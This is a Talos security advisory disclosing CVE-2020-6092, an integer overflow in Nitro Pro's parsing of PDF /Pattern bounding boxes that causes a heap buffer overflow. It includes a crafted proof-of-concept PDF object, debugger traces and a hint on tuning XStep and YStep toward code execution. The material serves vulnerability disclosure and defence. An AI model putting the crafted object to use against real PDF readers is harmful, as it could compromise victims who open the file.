Talos Vulnerability Report

TALOS-2020-1013

Nitro Pro PDF Pattern Object Code Execution Vulnerability

MAY 18, 2020

CVE NUMBER

CVE-2020-6092

Summary

An exploitable code execution vulnerability exists in the way Nitro Pro 13.9.1.155 parses Pattern objects. A specially crafted PDF file can trigger an integer overflow that can lead to arbitrary code execution. In order to trigger this vulnerability, victim must open a malicious file.

Tested Versions

Nitro Pro 13.9.1.155

Product URLs

https://www.gonitro.com/nps/product-details/downloads

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-190 - Integer Overflow or Wraparound

Details

Nitro PDF allows users to save, read, sign and edit PDF files on their machines.

PDF standard allows for creating geometrical patterns that can be tiled and used to draw other shapes. These are specified via `/Pattern` objects and can be used inside PDF content streams. Important property of a `/Pattern` object is the `/BBox` property which specifies a bounding box rectangle that will contain the pattern. There exists an integer overflow in the way NitroPDF parses dimensions of this bounding box which can be triggered via the following sample `/Pattern` object:

```
11 0 obj
<<
/Type /Pattern
/PatternType 1
/PaintType 1
/TilingType 1
/BBox [4294967295 0 0 1]
/XStep 1
/YStep 1
/Length 56>>
stream
q
(AAAA)Tj
Q
endstream
endobj
```

Notice, in the above object, the abnormally large value of first coordinate of the `BBox` property. While parsing the `/Pattern` object, this value is used in a number of floating point calculations and is ultimately truncated to 0x80000000 when converting from floating point to integer value:

```
00007ffa`f10f7dce f20f2cc0        cvttsd2si eax,xmm0
00007ffa`f10f7dd2 89842428010000  mov     dword ptr [rsp+128h],eax
00007ffa`f10f7dd9 f20f2cc6        cvttsd2si eax,xmm6
00007ffa`f10f7ddd 89842424010000  mov     dword ptr [rsp+124h],eax
0:000> ?xmm6
Evaluate expression: 4755801206503243776 = 42000000`00000000
0:000> ?eax
Evaluate expression: 2147483648 = 00000000`80000000
```

Continuing the execution from the above point leads to the following loop:

```
00007ffa`f10f9d40 c740feffffff00  mov     dword ptr [rax-2],0FFFFFFh
00007ffa`f10f9d47 488d4004        lea     rax,[rax+4]
00007ffa`f10f9d4b 83c1ff          add     ecx,0FFFFFFFFh
00007ffa`f10f9d4e 75f0            jne     npdf!PDTextIsSpaceBetween+0x14f350 (00007ffa`f10f9d40)
0:000> ?rcx
Evaluate expression: 2147483648 = 00000000`80000000
```

In the above code, we see a loop that writes to memory pointed to by `rax` 4 bytes at a time with the loop guard in `ecx` being effectively decremented by 1. Value in `ecx` is treated as a signed

integer and is in this case the most negative value possible, so first decrement will lead to integer wraparound which will subsequently lead to a buffer overflow on the heap:

```
0:000> g
(1170.8b8): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 10D7EF2:0
npdf!PDTextIsSpaceBetween+0x14f350:
00007ffa`f10f9d40 c740feffffff00  mov     dword ptr [rax-2],0FFFFFFh ds:000001f7`463fd000=c0c0c0c0
0:000> k 5
 # Child-SP          RetAddr           Call Site
00 0000003b`9c1fc980 00007ffa`f10ef4a0 npdf!PDTextIsSpaceBetween+0x14f350
01 0000003b`9c1fdea0 00007ffa`f0f8bfa7 npdf!PDTextIsSpaceBetween+0x144ab0
02 0000003b`9c1fe410 00007ffa`f0f8d3d7 npdf!init_npdf_optional_features+0x7cc7
03 0000003b`9c1fe4b0 00007ffa`f0f84fca npdf!init_npdf_optional_features+0x90f7
04 0000003b`9c1fe620 00007ffa`f0fa2780 npdf!init_npdf_optional_features+0xcea
0:000> ?rcx
Evaluate expression: 2147483644 = 00000000`7ffffffc
```

From the above debugger output, we can see that `ecx` has wrapped around and increments to `rax` have resulted in out of bounds write access constituting a buffer overflow. With careful choice of other `/Pattern` object parameters, such as `XStep` and `YStep`, specific overflow size could be achieved which could lead to further memory corruption and ultimately arbitrary code execution.

Timeline

2020-02-17 - Vendor Disclosure

2020-05-18 - Public Release

CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.
